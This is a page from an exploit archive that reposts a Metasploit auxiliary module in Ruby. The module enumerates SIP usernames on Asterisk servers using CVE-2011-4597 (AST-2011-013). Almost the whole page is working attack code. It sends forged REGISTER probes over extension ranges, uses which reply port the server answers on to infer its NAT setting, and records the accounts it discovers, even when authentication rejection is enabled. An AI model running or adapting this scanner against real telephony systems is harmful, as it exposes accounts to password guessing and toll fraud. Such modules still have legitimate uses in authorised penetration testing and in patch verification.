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Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2011120056

Below is a copy:

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name'        => 'SIP Username Enumerator for Asterisk (UDP) Security Advisory AST-2011-013, CVE-2011-4597',
'Version'     => '$Revision: 1 $',
'Description' => 'REGISTER scan for numeric peer usernames having a nat setting different to global sip nat setting. ' <<
'Works even when alwaysauthreject=yes. For this exploit to work, the source port cannot be 5060. ' <<
'For more details see Asterisk Project Security Advisory - AST-2011-013',
'Author'      => 'Ben Williams',
'License'     => MSF_LICENSE
)

register_options(
[
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
OptInt.new('MINEXT',   [true, 'Starting extension',0]),
OptInt.new('MAXEXT',   [true, 'Ending extension', 9999]),
OptInt.new('PADLEN',   [true, 'Cero padding maximum length', 4]),
Opt::RPORT(5060),
Opt::CHOST,
Opt::CPORT(5070)    # Source port must *not* be 5060 for this exploit to work.
], self.class)
end


# Define our batch size
def run_batch_size
datastore['BATCHSIZE'].to_i
end

# Operate on an entire batch of hosts at once
def run_batch(batch)

begin
udp_sock = udp_sock_5060 = recv_sock = nil
idx = 0
global_nat = ''


# SIP responses are either sent back to our source port or to 5060
# so we need to have two sockets.

# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create(
{
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'].to_i,
'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
}
)
add_socket(udp_sock)

udp_sock_5060 = Rex::Socket::Udp.create(
{
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => 5060,
'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
}
)
add_socket(udp_sock_5060)

mini = datastore['MINEXT']
maxi = datastore['MAXEXT']


batch.each do |ip|
# First create a probe for a nonexistent user to test what the global nat setting is.
# If the response arrives back on the same socket, then global nat=yes, 
# and the scanner will proceed to find devices that have nat=no.
# If the response arrives back on 5060, then global nat=no (default),
# and the scanner will proceed to find devices that have nat=yes.
data = create_probe(ip,"thisusercantexist")
begin
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end
 
r = udp_sock.recvfrom(65535, 1)  # returns [data,host,port]
if r[1]
global_nat = "yes"
else
r = udp_sock_5060.recvfrom(65535, 1)
if r[1]
global_nat = "no"
end
end

if global_nat == ''
print_error("No response from server for initial test probe.")
return
else
print_status("Asterisk appears to have global nat=#{global_nat}.")
end

recv_sock = (global_nat == "no") ? udp_sock : udp_sock_5060

for i in (mini..maxi)
testext = padnum(i,datastore['PADLEN'])

data = create_probe(ip,testext)

begin
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end

if (idx % 10 == 0)
while (r = recv_sock.recvfrom(65535, 0.02) and r[1])
parse_reply(r)
end
end

idx += 1
end
end

while (r = recv_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end

rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
udp_sock_5060.close if udp_sock_5060
end
end

#
# The response parsers
#
def parse_reply(pkt)

return if not pkt[1]

if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end

resp  = pkt[0].split(/\s+/)[1]
return if resp == '100'  # ignore provisional responses, we will get a 401 next packet.

rhost,rport = pkt[1], pkt[2]

if(pkt[0] =~ /^To\:\s*(.*)$/i)
testn = "#{$1.strip}".split(';')[0]
end

print_status("Found user: #{testn} [Auth]")
#Add Report
report_note(
:host=> rhost,
:proto => 'udp',
:sname=> 'sip',
:port=> rport,
:type=> "Found user: #{testn} [Auth]",
:data=> "Found user: #{testn} [Auth]"
)
end

def create_probe(ip,toext)
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
shost = Rex::Socket.source_address(ip)

data  = "REGISTER sip:#{toext}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/UDP #{shost};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
data << "From: #{toext} <sip:#{suser}@#{shost}>;tag=70c00e8c\r\n"
data << "To: #{toext} <sip:#{toext}@#{ip}>\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 101 REGISTER\r\n"
data << "Contact: <sip:#{suser}@#{shost}>\r\n"
data << "Content-Length: 0\r\n"
data << "Max-Forwards: 20\r\n"
end

def padnum(num,padding)
if padding >= num.to_s.length
('0'*(padding-num.to_s.length)) << num.to_s
end
end
end

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